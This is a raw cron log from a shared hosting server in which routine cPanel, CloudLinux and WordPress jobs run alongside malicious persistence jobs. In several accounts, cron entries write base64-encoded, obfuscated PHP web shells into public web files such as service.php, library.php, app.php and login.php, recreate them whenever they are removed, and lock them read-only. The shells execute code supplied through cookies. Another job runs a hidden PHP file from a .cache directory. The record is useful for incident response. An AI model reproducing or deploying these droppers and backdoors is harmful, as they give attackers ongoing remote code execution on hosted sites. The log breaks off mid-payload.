Mar  2 00:18:02 medusa CROND[28188]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  2 00:18:02 medusa CROND[28190]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:18:02 medusa CROND[28191]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:18:02 medusa CROND[28187]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:18:02 medusa CROND[28193]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:18:02 medusa CROND[28194]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:18:02 medusa CROND[28199]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:18:02 medusa CROND[28200]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:19:02 medusa CROND[3489]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 00:19:02 medusa CROND[3490]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:19:02 medusa CROND[3491]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:19:02 medusa CROND[3492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:19:02 medusa CROND[3494]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:19:02 medusa CROND[3499]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:19:02 medusa CROND[3503]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:19:02 medusa CROND[3504]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:19:02 medusa CROND[3505]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:19:02 medusa CROND[3506]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:19:02 medusa CROND[3501]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:19:02 medusa CROND[3500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:20:01 medusa CROND[9669]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 00:20:01 medusa CROND[9676]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:20:01 medusa CROND[9739]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 00:20:02 medusa CROND[9947]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 00:20:02 medusa CROND[9948]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 00:20:02 medusa CROND[9952]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:20:02 medusa CROND[9951]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 00:20:02 medusa CROND[9954]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 00:20:02 medusa CROND[9949]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 00:20:02 medusa CROND[9957]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 00:20:02 medusa CROND[9950]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 00:20:02 medusa CROND[9958]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4